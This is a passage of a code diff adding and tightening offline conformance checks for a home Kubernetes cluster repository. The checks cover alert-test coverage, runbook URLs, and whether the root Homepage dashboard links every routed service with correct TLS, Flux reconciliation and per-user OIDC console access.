+    # check declare VPNTunnelDown "asserted on" and demand its removal from UNTESTED_ALERTS. Deleting
+    # the register entry would then have recorded coverage that did not exist — the exact "looks fixed"
+    # outcome this check exists to prevent, produced BY the check.
+    # Now an alert counts only when a test file names it in an `alertname:` position, with comment
+    # lines stripped first so a commented-out assertion does not count either.
+    # MEASURED BLAST RADIUS BEFORE TIGHTENING: of 61 alerts across the PrometheusRule manifests, 32 are
+    # asserted in one of the two idioms below, 29 are not mentioned at all (already declared in the
+    # registers), and ZERO are prose-only — so this change failed nothing on the day it landed. That
+    # mattered because the registers are shrink-only: had any alert been prose-only, tightening would
+    # have needed a register entry it is not allowed to add. (The first measurement said 31/30/0 because
+    # it scanned only tests/*.test.yaml and missed the <manifest>.promtool-test.yaml companions.)
+    text_no_comments = "\n".join(
+        l for l in text.split("\n") if not l.lstrip().startswith("#")
+    )
+    # BOTH promtool idioms count, because both are real assertions:
+    #   alert_rule_test:   - alertname: CNPGPrimariesCoLocated
+    #   promql_expr_test:  - expr: 'ALERTS{alertname="CNPGPrimariesCoLocated"}'
+    # Matching only the first produced a FALSE NEGATIVE on CNPGPrimariesCoLocated, which
+    # platform/cnpg/alerts.promtool-test.yaml pins across FOUR scenarios entirely through the second
+    # form. Had that been believed, the "fix" would have been a redundant duplicate test for an alert
+    # already better covered than most.
+    covered = [n for n in names
+               if re.search(rf'(?:alertname:\s*|alertname="){re.escape(n)}\b', text_no_comments)]
     covered_total += len(covered)
     for n in names:
         if n in covered:

conformance/tests/l0-static/alert-runbooks-resolvable/check.sh

@@ -126,9 +126,14 @@ def read(p: Path) -> str:
 SCOPE_DECL_RE = r"^\s*conformance\.home\.k3s/scope:\s*[\"\']?whole-repo"
 RUNBOOK_URL_RE = re.compile(r"""^\s*runbook_url:\s*["']?([^"'\s#]+)["']?\s*$""")
 
+# NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
+# as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs, so
+# a bare rglob from ROOT audited up to 18 duplicates of every file — which both invents FAILs
+# and, worse, can satisfy an "something declares X" check from a copy rather than real source.
+# Same fix as egress-paths-selected-by-rules. .claude/ is gitignored (.gitignore:43).
 rule_files = sorted(
     p for p in ROOT.rglob("*.yaml")
-    if ".git" not in p.parts and "kind: PrometheusRule" in read(p)
+    if not any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts) and "kind: PrometheusRule" in read(p)
 )
 check(len(rule_files) > 0,
       "no file declaring `kind: PrometheusRule` found — the parser or the repo layout changed; "

conformance/tests/l0-static/c2-root-surface/chainsaw-test.yaml

@@ -0,0 +1,116 @@
+# =============================================================================
+# L0 STATIC — the C2 root surfaces every service the cluster runs, plus platform
+# health and controlled actions  (R-C2-01, R-C2-02)   [EXECUTABLE]
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE REQUIREMENTS, VERBATIM (spec docs/00-vision-and-scope.md):
+#   R-C2-01  "The root `home.keithjackson.dev` MUST serve a UI that surfaces the services
+#             running in the cluster and links to them."
+#   R-C2-02  "The C2 UI MUST surface platform health (cluster, storage, GitOps, alerts) and
+#             provide controlled operational actions where safe."
+# Detail: spec docs/12-command-center-ui.md — Homepage at the root is "the primary R-C2-01
+# surface"; Headlamp is "the R-C2-02 'controlled operational actions where safe' surface";
+# Grafana is the dashboards/alerts surface; "never a raw cluster-admin kubeconfig in a browser".
+#
+# WHY L0, AND NOT L2
+# ------------------
+# The REACHABILITY half of R-C2-01 is already exercised against a live cluster:
+# l2-behavioral/gateway-ingress-reachable dials the Gateway and l2-behavioral/trusted-tls
+# verifies the certificate it serves. What no live probe can decide is the half the
+# requirement is actually about — whether the UI at the root surfaces THE SERVICES RUNNING
+# IN THE CLUSTER. Deciding that is a comparison of two SETS, and both are repository facts:
+# what git declares the cluster serves (every in-repo HTTPRoute hostname, every L4 Service
+# that publishes a hostname, every catalog ServiceDefinition) against what the dashboard's
+# ConfigMap links. A probe of the root gets HTTP 200 from a dashboard that hides half the
+# estate and cannot tell the difference.
+#
+# It is also the assertion that ROTS, in the direction nothing else notices: onboard a
+# service, forget the dashboard, and every cluster test stays green while the operator's
+# front door hides a running service. That is not a styling preference — it is exactly the
+# R-C2-01 failure mode, and this check found a live instance of it when it was written (see
+# the commit message: platform/crafty served crafty.${BASE_DOMAIN} and nothing on the root
+# linked to it).
+#
+# GIVEN the repository as git tracks it,
+# WHEN  the apex ingress, the dashboard's declared link set, every in-repo HTTPRoute, every
+#       hostname-publishing L4 Service, the versioned catalog and the platform-health
+#       surfaces are read and compared,
+# THEN — R-C2-01 —
+#       the bare apex is claimed by exactly one route, that route binds the ONE Gateway
+#       listener whose hostname matches a bare apex, the apex is a SAN on the certificate
+#       that listener terminates with, the dashboard is RECONCILED (not merely authored),
+#       FORWARD every HTTP service the repo routes is linked from the root, FORWARD every
+#       catalog `kind: container` service with a route is linked, and REVERSE every
+#       home-zone link the root offers resolves to something this repo actually serves —
+#       an HTTPRoute (L7) or a hostname-publishing LoadBalancer Service (L4);
+#     — R-C2-02 —
+#       both health surfaces docs/12 names are linked AND reconciled, the health DATA exists
+#       as code (PrometheusRule groups for cluster/nodes, storage, GitOps and cert expiry,
+#       reconciled by the platform-config tier), and actions are CONTROLLED: the console
+#       binds NO ClusterRole to its own ServiceAccount, authenticates per-user by native
+#       OIDC from a named SOPS Secret, and cluster rights arrive through OIDC GROUPS at more
+#       than one privilege level.
+#
+# STATUS: EXECUTABLE. `check.sh` is a pure offline assertion script (git ls-files + PyYAML —
+# the same dependency catalog/render.py already requires). conformance/run.sh --layer l0 and
+# ci/l0.sh run it directly; this Chainsaw Test wraps the SAME script.
+#
+# WHAT IT DOES NOT PROVE — honest gaps, restated in check.sh's own header:
+#   - That the apex answers HTTP 200, or that any tile's status ping is green. That is L2;
+#     the Gateway/TLS half is covered under R-DNS-01 / R-TLS-01.
+#   - That the C2 is access-CONTROLLED in fact. The auth assertions read a DECLARED posture,
+#     because the Gateway ext-authz attachment that would enforce forward-auth is not built
+#     anywhere in this repo (platform/homepage/httproute.yaml says so in its own header, and
+#     every forward-auth app shares the gap). Declared, not enforced — and labelled as such
+#     in the assertion text.
+#   - That an operational action in the console succeeds, or that it is audited. The
+#     assertions prove there is no shared cluster-admin identity to act with and that rights
+#     arrive per-user; the audit trail is a runtime property.
+#   - Whether a tile is USEFUL. Homepage service-widget API keys are a deliberate follow-up
+#     (platform/homepage/configmap.yaml); link presence is what R-C2-01 asks for.
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: c2-root-surface
+  labels:
+    conformance.home.k3s/R-C2-01: "true"
+    conformance.home.k3s/R-C2-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-C2-01, R-C2-02"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE, and it is the whole point of the forward assertion.
+    #
+    # The invariant is "every service the repo routes is linked from the C2 root". Its input
+    # surface is therefore EVERY tracked manifest that can declare an HTTPRoute — apps/wave-*,
+    # platform/*, runbooks/ — not just the two components that own the C2. ci/touched-
+    # requirements.sh keys `platform/homepage/*` and `platform/headlamp/*` to nothing at all
+    # today (there is no path-map arm for either), and even with one, the change that BREAKS
+    # this invariant is the change that adds a route somewhere else: `apps/wave-1/newthing.yaml`
+    # attributes R-GITOPS-02 / R-NET-* / nothing, never R-C2-01. Requirement-scoped selection
+    # would filter this check out of exactly the change that introduces the bug — the R-TEST-03
+    # blind spot recorded in conformance/lib/common.sh.
+    #
+    # Declaring the scope is the whole fix: conformance/run.sh --include-scope whole-repo
+    # (ci/l0.sh Stage 3b) unions this test into EVERY gate invocation. Do NOT hand-add a stage
+    # to ci/l0.sh — tests/l0-static/whole-repo-invariants-wired fails the gate if anyone does.
+    # A SKIP of a scope-declaring check is rc 3 (UNWIRED), never green.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      The bare apex is bound to the landing dashboard over trusted TLS and is reconciled; the
+      dashboard links every HTTP service this repo routes and every link it offers resolves to
+      something the repo serves; and the C2 surfaces platform health backed by real alert rules
+      while granting operational rights per-user through OIDC groups rather than through a
+      shared cluster-admin identity.
+spec:
+  steps:
+    - name: compare-the-c2-root-against-what-the-repo-actually-serves
+      description: >-
+        Read the apex ingress chain, the dashboard's declared links, every in-repo HTTPRoute and
+        hostname-publishing Service, the catalog, the platform-health alert rules and the
+        console's RBAC posture, and assert the two sets agree in both directions.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/c2-root-surface/check.sh

@@ -0,0 +1,689 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — c2-root-surface
+#
+# Serves (spec docs/00-vision-and-scope.md; detail in docs/12-command-center-ui.md):
+#
+#   R-C2-01  "The root `home.keithjackson.dev` MUST serve a UI that surfaces the
+#             services running in the cluster and links to them."
+#   R-C2-02  "The C2 UI MUST surface platform health (cluster, storage, GitOps,
+#             alerts) and provide controlled operational actions where safe."
+#
+# WHY THIS IS AN L0 STATIC CHECK AND NOT AN L2 PROBE
+# --------------------------------------------------
+# The REACHABILITY half of R-C2-01 is already exercised against a live cluster:
+# l2-behavioral/gateway-ingress-reachable dials the Gateway and l2-behavioral/trusted-tls
+# verifies the certificate it serves. What no live probe can decide is the half the
+# requirement is actually about — whether the UI at the root surfaces THE SERVICES RUNNING
+# IN THE CLUSTER. Deciding that is a comparison of two SETS, and both are repository facts:
+# what git declares the cluster serves (every in-repo HTTPRoute hostname, every
+# hostname-publishing L4 Service, every catalog ServiceDefinition) against what the
+# dashboard's ConfigMap links. A probe of the root gets HTTP 200 from a dashboard that hides
+# half the estate and cannot tell the difference.
+#
+# It is also the assertion that ROTS, in the direction nothing else notices: onboard a
+# service, forget the dashboard, and every cluster test stays green while the operator's
+# front door hides a running service. That is not a styling preference — it is exactly the
+# R-C2-01 failure mode, and it was a LIVE defect on main when this check was written
+# (platform/crafty served crafty.${BASE_DOMAIN} and nothing on the root linked to it).
+#
+# THE RULE THIS IMPLEMENTS, in one sentence: every home-zone hostname the repository routes
+# over HTTP must be linked from the apex dashboard's configuration, every home-zone link the
+# apex dashboard offers must resolve to something the repository actually serves, and the two
+# R-C2-02 surfaces (health data + a per-user-authorized console) must be linked, reconciled
+# and backed by real alert rules.
+#
+# GIVEN the repository as git tracks it,
+# WHEN  the apex ingress chain, the dashboard's declared link set, every in-repo HTTPRoute,
+#       every hostname-publishing L4 Service, the versioned catalog, the platform-health
+#       alert rules and the console's RBAC posture are read and compared,
+# THEN — R-C2-01 —
+#       (0)  the INPUT SURFACE is intact: every Flux-reconciled path lies inside the roots
+#            this check scans, and every manifest in them parses. A root this check does not
+#            scan, or a file it cannot parse, is a service it cannot see — which would
+#            silently weaken every assertion below;
+#       (1)  EXACTLY ONE HTTPRoute claims the bare apex (an ambiguous root is not a root),
+#            and it belongs to the landing-dashboard component;
+#       (2)  that route pins by sectionName the ONE Gateway listener whose hostname is the
+#            bare apex, and that listener is HTTPS — the wildcard `*.${BASE_DOMAIN}` listener
+#            does NOT intersect the bare apex, so without the sectionName the root binds
+#            nothing and serves nothing (asserted against the wildcard listener's existence,
+#            so the claim is proven rather than asserted from prose);
+#       (3)  the apex is a SAN on the Certificate whose Secret that listener terminates with;
+#       (4)  the dashboard is RECONCILED, not merely authored: one Flux Kustomization points
+#            at its path and is listed in the base entrypoint set;
+#       (5)  that Kustomization carries postBuild.substituteFrom, because the dashboard's
+#            hrefs and its route's hostname are written as `${BASE_DOMAIN}` tokens — without
+#            substitution the apex route binds a literal `${BASE_DOMAIN}` and EVERY tile on
+#            the root links to a nonexistent host, while Flux still reports Ready;
+#       (6)  the component's own kustomization ships config + workload + Service + route;
+#       (7)  the dashboard is a service CATALOG: grouped entries carrying hrefs;
+#       (8)  FORWARD — every home-zone hostname an in-repo HTTPRoute serves, other than the
+#            apex itself, is LINKED from the root. This is the rot-catcher;
+#       (9)  FORWARD — every catalog `kind: container` ServiceDefinition whose declared
+#            ingress host is routed is likewise linked, tying the C2 to the VERSIONED
+#            onboarding contract and not only to whatever is rendered today;
+#       (10) REVERSE — every home-zone link the root offers resolves to something this repo
+#            actually serves: an HTTPRoute (L7) or a hostname-publishing LoadBalancer Service
+#            (L4). A dead tile is a link the root offers to nothing;
+#       (11) the off-cluster escape hatch is not a blanket one: every name declared in the
+#            ConfigMap's `off-cluster-links` annotation is a specific home-zone hostname and
+#            none of them shadows a hostname the repo DOES serve;
+#       (12) no href names a LITERAL base-domain host. Every hostname is the `${BASE_DOMAIN}`
+#            token, so prod's root cannot link dev's services — the 2026-09-04 incident class
+#            (two clusters authored to describe the same names), applied to the front door;
+#     — R-C2-02 —
+#       (13) both health surfaces docs/12 names are linked: the Kubernetes console
+#            (cluster/storage/GitOps state) and the dashboards/alerts surface;
+#       (14) both are RECONCILED by Flux, so the links lead to something running;
+#       (15) the health DATA those surfaces render exists as code — PrometheusRule groups for
+#            each axis R-C2-02 enumerates (cluster/nodes, storage, GitOps reconciliation)
+#            plus certificate expiry — and those rule files are reconciled;
+#       (16) actions are CONTROLLED, not cluster-admin-in-a-browser (docs/12: "never a raw
+#            cluster-admin kubeconfig in a browser"): the console chart is explicitly told NOT
+#            to bind its ServiceAccount to a ClusterRole, so there is no shared privileged
+#            identity to act as;
+#       (17) actions are instead PER-USER: the console is configured for native OIDC with
+#            credentials from a named (SOPS) Secret, not inline;
+#       (18) cluster rights arrive through OIDC GROUPS at MORE THAN ONE privilege level (an
+#            admin group and a lesser one) — least-privilege, not one tier for everybody;
+#       (19) the C2 root DECLARES the authenticated-group posture docs/12 requires, on its own
+#            route (declared, NOT enforced — see the gap note below).
+#
+# WHAT THIS DOES *NOT* PROVE — honest gaps, the same ones the Test declaration names:
+#   - That the apex answers HTTP 200, or that any tile's status ping is green. That is L2; the
+#     Gateway/TLS half is covered under R-DNS-01 / R-TLS-01.
+#   - That the C2 is access-CONTROLLED in fact. (19) reads a DECLARED posture, because the
+#     Gateway ext-authz attachment that would ENFORCE forward-auth is not built anywhere in
+#     this repo (platform/homepage/httproute.yaml says so in its own header, and every
+#     forward-auth app shares the gap). Declared, not enforced, and labelled as such in the
+#     assertion text itself.
+#   - That an operational action in the console succeeds, or that it is audited. (16)-(18)
+#     prove there is no shared cluster-admin identity to act with and that rights arrive
+#     per-user; the audit trail is a runtime property.
+#   - Whether a tile is USEFUL. Homepage service-widget API keys are a deliberate follow-up
+#     (platform/homepage/configmap.yaml); link presence is what R-C2-01 asks for.
+#   - That an L4-ONLY endpoint is surfaced. A raw TCP/UDP endpoint (a Minecraft game port) has
+#     no URL a browser can follow, so the FORWARD direction quantifies over HTTP routes;
+#     L4-published hostnames are listed as ADVISORIES and are honoured in the REVERSE
+#     direction (that is how the UniFi tile, an L4 LoadBalancer on :11443, resolves).
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06) and the
+#     requirement text above is quoted, not parsed.
+#
+# STATUS: EXECUTABLE. Pure offline: `git ls-files` + PyYAML (the dependency ten neighbouring
+# l0-static checks already take). No cluster, no network, no spec repo.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green, and rc 3 is UNWIRED for a scope-declaring test) if the landing
+# dashboard component is absent entirely — there is then no C2 root to audit, which is a
+# report about the tree, not a pass.
+if [ ! -f "${ROOT}/platform/homepage/configmap.yaml" ]; then
+  echo "check SKIPPED: platform/homepage/configmap.yaml absent — no C2 landing dashboard to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: the C2 root surfaces every service the repository serves, plus health.
+
+Every parse contract is documented at its parser. PyYAML rather than regex because the
+subjects are genuinely structured: multi-document apps/ bundles, and a Homepage config that
+is nested YAML *inside* a ConfigMap string value.
+"""
+from __future__ import annotations
+
+import re
+import subprocess
+import sys
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+ADVISORIES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if cond:
+        print(f"  ok   {msg}")
+    else:
+        print(f"  FAIL {msg}", file=sys.stderr)
+        FAILURES.append(msg)
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+# ============================================================ the hostname vocabulary
+# BASE_DOMAIN is a cluster-vars knob (R-ENV-02): every public hostname the cluster serves is
+# `<svc>.${BASE_DOMAIN}`, and dev/prod differ ONLY in that value. So a hostname in this repo
+# is canonically the TOKEN form, and the literal value below exists only to be FORBIDDEN in
+# (12): a literal is how prod came to be authored to serve dev's hostnames (2026-09-04,
+# clusters/base/cluster-vars.yaml's own header).
+TOKEN = "${BASE_DOMAIN}"
+_vars = yaml.safe_load(read(ROOT / "clusters" / "base" / "cluster-vars.yaml")) or {}
+LITERAL_BASE = ((_vars.get("data") or {}).get("BASE_DOMAIN") or "").strip()
+
+
+def strip_port(host: str) -> str:
+    return host.split(":", 1)[0]
+
+
+def zone_label(host: str):
+    """The sub-label of a home-zone hostname, "" for the bare apex, or None if not in zone.
+
+    Accepts only the TOKEN form; a literal-base hostname returns None here and is caught
+    separately by (12), so a literal can never silently satisfy a set comparison.
+    """
+    h = strip_port(host)
+    if h == TOKEN:
+        return ""
+    if h.endswith("." + TOKEN):
+        return h[: -len("." + TOKEN)]
+    return None
+
+
+def is_literal_base(host: str) -> bool:
+    h = strip_port(host)
+    return bool(LITERAL_BASE) and (h == LITERAL_BASE or h.endswith("." + LITERAL_BASE))
+
+
+# ============================================================ (0) the input surface
+# DELIVERY ROOTS — the subtrees Flux reconciles, plus catalog/ (the versioned source the
+# apps/ manifests are rendered FROM). conformance/ is deliberately EXCLUDED: its fixtures and
+# goldens declare synthetic HTTPRoutes (`paas-demo.…`, `gw-declared-conformance.…`) that are
+# test data, not services the cluster serves, and counting them would make (8) assert that
+# the operator's dashboard links this harness's fixtures.
+DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
+                  "runbooks", "clusters", "bootstrap", "catalog")
+
+# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
+# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
+# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
+# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
+# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
+# routes and make (8) demand the operator's dashboard link them.
+#
+# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
+# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
+# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
+# hostname-publishing Service. If that ever stops being true the check fails and the tree must
+# become a real delivery root.
+NON_SERVING_RECONCILED = ("conformance/incluster",)
+
+
+def tracked_yaml() -> list[Path]:
+    out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
+                         cwd=ROOT, capture_output=True, text=True, check=True)
+    return [ROOT / p for p in out.stdout.split("\0") if p]
+
+
+ALL_TRACKED = tracked_yaml()
+DELIVERY = [p for p in ALL_TRACKED
+            if p.relative_to(ROOT).parts[0] in DELIVERY_ROOTS]
+
+parse_failed: list[str] = []
+DOCS: dict[Path, list[dict]] = {}
+for p in DELIVERY:
+    try:
+        DOCS[p] = [d for d in yaml.safe_load_all(read(p)) if isinstance(d, dict)]
+    except yaml.YAMLError:
+        DOCS[p] = []
+        parse_failed.append(str(p.relative_to(ROOT)))
+
+
+def docs_all():
+    for p, ds in DOCS.items():
+        for d in ds:
+            yield p, d
+
+
+check(len(DELIVERY) >= 100,
+      f"(0) the delivery tree is present and scanned ({len(DELIVERY)} tracked manifest(s) "
+      f"under {'/, '.join(DELIVERY_ROOTS)}/)")
+check(not parse_failed,
+      f"(0) every manifest in the scanned roots PARSES — an unparseable one is a service "
+      f"this check cannot see, so it would weaken every set comparison below "
+      f"{parse_failed if parse_failed else ''}")
+
+# Every Flux-reconciled path must lie inside a root this check scans. This is the guard on
+# the guard: if a future tier reconciles, say, ./services, the forward direction would stop
+# seeing its routes and would go quietly green on a dashboard that hides all of them.
+flux_ks = [(p, d) for p, d in docs_all()
+           if d.get("kind") == "Kustomization"
+           and str(d.get("apiVersion", "")).startswith("kustomize.toolkit.fluxcd.io")]
+# A RECONCILING Kustomization is one carrying a sourceRef. The pathless documents under
+# bootstrap/flux/patches/ are strategic-merge PATCH FRAGMENTS (they add a decryption stanza to
+# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
+# a path of them would fail on a file that is correct.
+reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
+def _reconciled_path(d):
+    return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
+
+
+unscanned = sorted({
+    f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
+    for p, d in reconcilers
+    if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
+    and _reconciled_path(d) not in NON_SERVING_RECONCILED
+})
+
+# The exemption's own guard: an exempted tree must actually serve nothing.
+exempt_serving = sorted({
+    f"{p.relative_to(ROOT)} ({d.get('kind')})"
+    for p, d in docs_all()
+    if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
+    and (d.get("kind") == "HTTPRoute"
+         or (d.get("kind") == "Service"
+             and any("hostname" in str(k).lower()
+                     for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
+})
+check(not exempt_serving,
+      f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
+      f"gains a route would hide a service from this check entirely "
+      f"{exempt_serving if exempt_serving else ''}")
+check(len(reconcilers) >= 10 and not unscanned,
+      f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
+      f"reconciled tree this check does not read is a service it cannot require a link for "
+      f"{unscanned if unscanned else ''}")
+
+# ============================================================ what the repo SERVES
+# L7: every hostname an in-repo HTTPRoute claims, and the component that owns it.
+routes: dict[str, list[tuple[Path, dict]]] = {}
+apex_inheriting: list[Path] = []
+for p, d in docs_all():
+    if d.get("kind") != "HTTPRoute":
+        continue
+    hosts = (d.get("spec", {}) or {}).get("hostnames") or []
+    if not hosts:
+        # An HTTPRoute with NO hostnames inherits the hostname of every listener it attaches
+        # to (runbooks/serving/httproute.yaml binds `https-apex` only, so it serves a PATH on
+        # the apex). It introduces no new hostname, so it owes no tile.
+        apex_inheriting.append(p)
+        continue
+    for h in hosts:
+        routes.setdefault(str(h), []).append((p, d))
+
+routed_labels = {}          # sub-label -> owning component dir
+for h, owners in routes.items():
+    lbl = zone_label(h)
+    if lbl:                 # "" is the apex; None is out of zone
+        routed_labels[lbl] = owners[0][0].parent
+
+# L4: a Service that publishes a home-zone hostname to DNS is also "served by this repo" —
+# it is how UniFi (a KubeVirt VM behind a pinned Cilium LoadBalancer VIP on :11443) reaches
+# the LAN. external-dns's annotation IS the declaration; there is no HTTPRoute to find.
+DNS_ANN = "external-dns.alpha.kubernetes.io/hostname"
+l4_labels: dict[str, Path] = {}
+for p, d in docs_all():
+    if d.get("kind") != "Service":
+        continue
+    ann = (d.get("metadata", {}) or {}).get("annotations", {}) or {}
+    for h in re.split(r"[,\s]+", str(ann.get(DNS_ANN, ""))):
+        lbl = zone_label(h) if h else None
+        if lbl:
+            l4_labels[lbl] = p
+
+check(len(routed_labels) >= 10,
+      f"(0) the repo's north-south HTTP surface is discovered "
+      f"({len(routed_labels)} routed home-zone hostname(s), "
+      f"{len(apex_inheriting)} apex-path route(s), {len(l4_labels)} L4-published hostname(s))")
+
+# ============================================================ (1) the apex is unambiguous
+apex_claims = routes.get(TOKEN, [])
+check(len(apex_claims) == 1,
+      f"(1) exactly ONE HTTPRoute claims the bare apex {TOKEN} — an ambiguous root is not a "
+      f"root (found {len(apex_claims)}: {[str(p.relative_to(ROOT)) for p, _ in apex_claims]})")
+apex_path, apex_route = (apex_claims[0] if apex_claims else (None, {}))
+DASH = apex_path.parent if apex_path is not None else None
+check(DASH is not None and DASH.name == "homepage",
+      f"(1) the apex route belongs to the landing-dashboard component "
+      f"(found {DASH.name if DASH else None!r})")
+
+# ============================================================ (2) it binds the apex listener
+parents = (apex_route.get("spec", {}) or {}).get("parentRefs") or []
+section = next((pr.get("sectionName") for pr in parents if pr.get("sectionName")), None)
+gw_name = next((pr.get("name") for pr in parents), None)
+gw_ns = next((pr.get("namespace") for pr in parents), None)
+check(section is not None,
+      "(2) the apex route pins a Gateway listener by sectionName — the wildcard listener's "
+      "hostname cannot match a bare apex, so an unpinned apex route binds NOTHING")
+
+gw = next((d for _, d in docs_all()
+           if d.get("kind") == "Gateway"
+           and (d.get("metadata", {}) or {}).get("name") == gw_name
+           and (gw_ns is None or (d.get("metadata", {}) or {}).get("namespace") == gw_ns)), None)
+check(gw is not None, f"(2) the parent Gateway '{gw_name}' is declared in the repo")
+listeners = ((gw or {}).get("spec", {}) or {}).get("listeners") or []
+apex_listener = next((l for l in listeners if l.get("name") == section), None)
+check(apex_listener is not None,
+      f"(2) the Gateway declares the '{section}' listener the apex route binds")
+check(apex_listener is not None and apex_listener.get("hostname") == TOKEN,
+      f"(2) that listener's hostname is EXACTLY the bare apex "
+      f"(found {(apex_listener or {}).get('hostname')!r})")
+check(apex_listener is not None and apex_listener.get("protocol") == "HTTPS",
+      "(2) the apex listener terminates HTTPS (docs/12 acceptance gate: trusted TLS on the root)")
+# Prove the sectionName is LOAD-BEARING rather than decorative: a wildcard listener exists,
+# it is a DIFFERENT listener, and its hostname does not equal the apex.
+wildcard = [l for l in listeners if str(l.get("hostname", "")) == "*." + TOKEN]
+check(bool(wildcard) and all(l.get("name") != section for l in wildcard),
+      f"(2) the wildcard listener(s) {[l.get('name') for l in wildcard]} are DISTINCT from "
+      f"'{section}' — which is why the apex needs its own listener, and why dropping the "
+      f"sectionName would leave the root unserved")
+
+# ============================================================ (3) trusted TLS on the root
+cert_secret = next((ref.get("name")
+                    for ref in ((apex_listener or {}).get("tls", {}) or {}).get("certificateRefs") or []),
+                   None)
+cert = next((d for _, d in docs_all()
+             if d.get("kind") == "Certificate"
+             and (d.get("spec", {}) or {}).get("secretName") == cert_secret), None)
+check(cert is not None,
+      f"(3) a cert-manager Certificate produces the apex listener's Secret ({cert_secret!r})")
+check(cert is not None and TOKEN in ((cert.get("spec", {}) or {}).get("dnsNames") or []),
+      "(3) the bare apex is a SAN on that Certificate — the wildcard alone does NOT cover it, "
+      "so without this SAN the root serves an untrusted certificate")
+
+# ============================================================ (4)(5) it is RECONCILED
+dash_rel = f"./{DASH.relative_to(ROOT)}" if DASH else None
+dash_ks = [(p, d) for p, d in flux_ks
+           if (d.get("spec", {}) or {}).get("path", "").rstrip("/") == dash_rel]
+check(len(dash_ks) == 1,
+      f"(4) exactly one Flux Kustomization reconciles the dashboard ({dash_rel}) — authored "
+      f"but unreconciled is the 'looks done, is absent' class this repo keeps hitting "
+      f"(found {len(dash_ks)})")
+if dash_ks:
+    base_txt = read(ROOT / "clusters" / "base" / "kustomization.yaml")
+    entry = dash_ks[0][0].name
+    check(re.search(rf"^\s*-\s*{re.escape(entry)}\s*(#.*)?$", base_txt, re.M) is not None,
+          f"(4) that Kustomization is listed in the base entrypoint set ({entry})")
+    # (5) The dashboard's hrefs and its route's hostname are ${BASE_DOMAIN} TOKENS. Without
+    # postBuild.substituteFrom the token reaches the cluster LITERALLY: the apex route binds
+    # the host `${BASE_DOMAIN}` (matching no listener) and every tile links to a host that
+    # does not exist — and Flux still reports the Kustomization Ready. It fails OPEN.
+    subs = (((dash_ks[0][1].get("spec", {}) or {}).get("postBuild") or {}).get("substituteFrom") or [])
+    check(any((s.get("name") == "cluster-vars") for s in subs),
+          f"(5) {dash_ks[0][0].name} carries postBuild.substituteFrom cluster-vars. It MUST: "
+          f"this component's route hostname and EVERY tile href are ${{BASE_DOMAIN}} tokens, "
+          f"and an unsubstituted token is applied literally while Flux still reports Ready — "
+          f"a root bound to no listener and a dashboard of dead links, with a green tier")
+
+# ============================================================ (6) it ships the UI
+dash_kust = yaml.safe_load(read(DASH / "kustomization.yaml")) if DASH else None
+dash_res = set((dash_kust or {}).get("resources") or [])
+for want in ("configmap.yaml", "deployment.yaml", "service.yaml", "httproute.yaml"):
+    check(want in dash_res, f"(6) the dashboard kustomization ships {want}")
+
+# ================================================== the dashboard's DECLARED link set
+# Homepage's config is nested YAML inside ConfigMap string values (services.yaml,
+# bookmarks.yaml). Both are read: a bookmark is a link the root offers just as a tile is.
+cm = next((d for d in (DOCS.get(DASH / "configmap.yaml") or []) if d.get("kind") == "ConfigMap"),
+          {}) if DASH else {}
+cm_data = cm.get("data") or {}
+
+
+def embedded(key):
+    try:
+        return yaml.safe_load(cm_data.get(key) or "") or []
+    except yaml.YAMLError:
+        return None
+
+
+svc_cfg = embedded("services.yaml")
+bm_cfg = embedded("bookmarks.yaml")
+check(svc_cfg is not None and bm_cfg is not None,
